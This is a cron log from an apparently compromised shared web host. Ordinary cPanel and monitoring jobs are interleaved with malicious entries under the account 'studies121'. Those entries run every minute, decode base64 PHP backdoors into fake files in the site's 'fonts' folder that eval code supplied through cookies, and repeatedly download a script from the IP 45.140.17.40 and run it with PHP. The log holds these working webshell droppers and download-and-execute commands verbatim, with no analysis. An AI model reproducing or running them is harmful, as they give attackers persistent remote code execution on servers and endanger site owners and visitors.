Sep 13 03:29:01 ip-184-168-122-23 CROND[7001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:29:01 ip-184-168-122-23 CROND[7003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:29:01 ip-184-168-122-23 CROND[7004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:29:01 ip-184-168-122-23 CROND[7002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:30:02 ip-184-168-122-23 CROND[7107]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:30:02 ip-184-168-122-23 CROND[7108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:30:02 ip-184-168-122-23 CROND[7112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:30:02 ip-184-168-122-23 CROND[7114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:30:02 ip-184-168-122-23 CROND[7115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:30:02 ip-184-168-122-23 CROND[7118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:30:02 ip-184-168-122-23 CROND[7117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:30:02 ip-184-168-122-23 CROND[7119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:31:01 ip-184-168-122-23 CROND[7213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:31:01 ip-184-168-122-23 CROND[7214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:31:01 ip-184-168-122-23 CROND[7218]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 03:31:01 ip-184-168-122-23 CROND[7219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:31:01 ip-184-168-122-23 CROND[7217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:32:01 ip-184-168-122-23 CROND[7303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:32:01 ip-184-168-122-23 CROND[7302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:32:01 ip-184-168-122-23 CROND[7304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:32:01 ip-184-168-122-23 CROND[7308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:32:01 ip-184-168-122-23 CROND[7307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:33:01 ip-184-168-122-23 CROND[7391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:33:01 ip-184-168-122-23 CROND[7392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:33:01 ip-184-168-122-23 CROND[7394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:33:01 ip-184-168-122-23 CROND[7395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:34:01 ip-184-168-122-23 CROND[7560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:34:01 ip-184-168-122-23 CROND[7562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:34:01 ip-184-168-122-23 CROND[7565]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:34:01 ip-184-168-122-23 CROND[7561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:34:01 ip-184-168-122-23 CROND[7564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:35:01 ip-184-168-122-23 CROND[7660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:35:01 ip-184-168-122-23 CROND[7661]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 13 03:35:01 ip-184-168-122-23 CROND[7663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:35:01 ip-184-168-122-23 CROND[7668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:35:01 ip-184-168-122-23 CROND[7669]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 03:35:01 ip-184-168-122-23 CROND[7675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:35:01 ip-184-168-122-23 CROND[7677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:35:01 ip-184-168-122-23 CROND[7674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:36:01 ip-184-168-122-23 CROND[7773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:36:01 ip-184-168-122-23 CROND[7775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:36:01 ip-184-168-122-23 CROND[7777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:36:01 ip-184-168-122-23 CROND[7778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:36:01 ip-184-168-122-23 CROND[7780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:37:01 ip-184-168-122-23 CROND[7864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:37:01 ip-184-168-122-23 CROND[7867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:37:01 ip-184-168-122-23 CROND[7868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:37:01 ip-184-168-122-23 CROND[7866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:38:01 ip-184-168-122-23 CROND[7944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:38:01 ip-184-168-122-23 CROND[7945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:38:01 ip-184-168-122-23 CROND[7948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:38:01 ip-184-168-122-23 CROND[7946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:38:01 ip-184-168-122-23 CROND[7947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:39:01 ip-184-168-122-23 CROND[8120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:39:02 ip-184-168-122-23 CROND[8122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:39:02 ip-184-168-122-23 CROND[8125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:39:02 ip-184-168-122-23 CROND[8126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:39:02 ip-184-168-122-23 CROND[8124]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 03:40:01 ip-184-168-122-23 CROND[8224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:40:01 ip-184-168-122-23 CROND[8225]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:40:01 ip-184-168-122-23 CROND[8226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:40:01 ip-184-168-122-23 CROND[8227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:40:01 ip-184-168-122-23 CROND[8232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:40:01 ip-184-168-122-23 CROND[8234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:40:01 ip-184-168-122-23 CROND[8233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:40:01 ip-184-168-122-23 CROND[8235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:41:01 ip-184-168-122-23 CROND[8342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
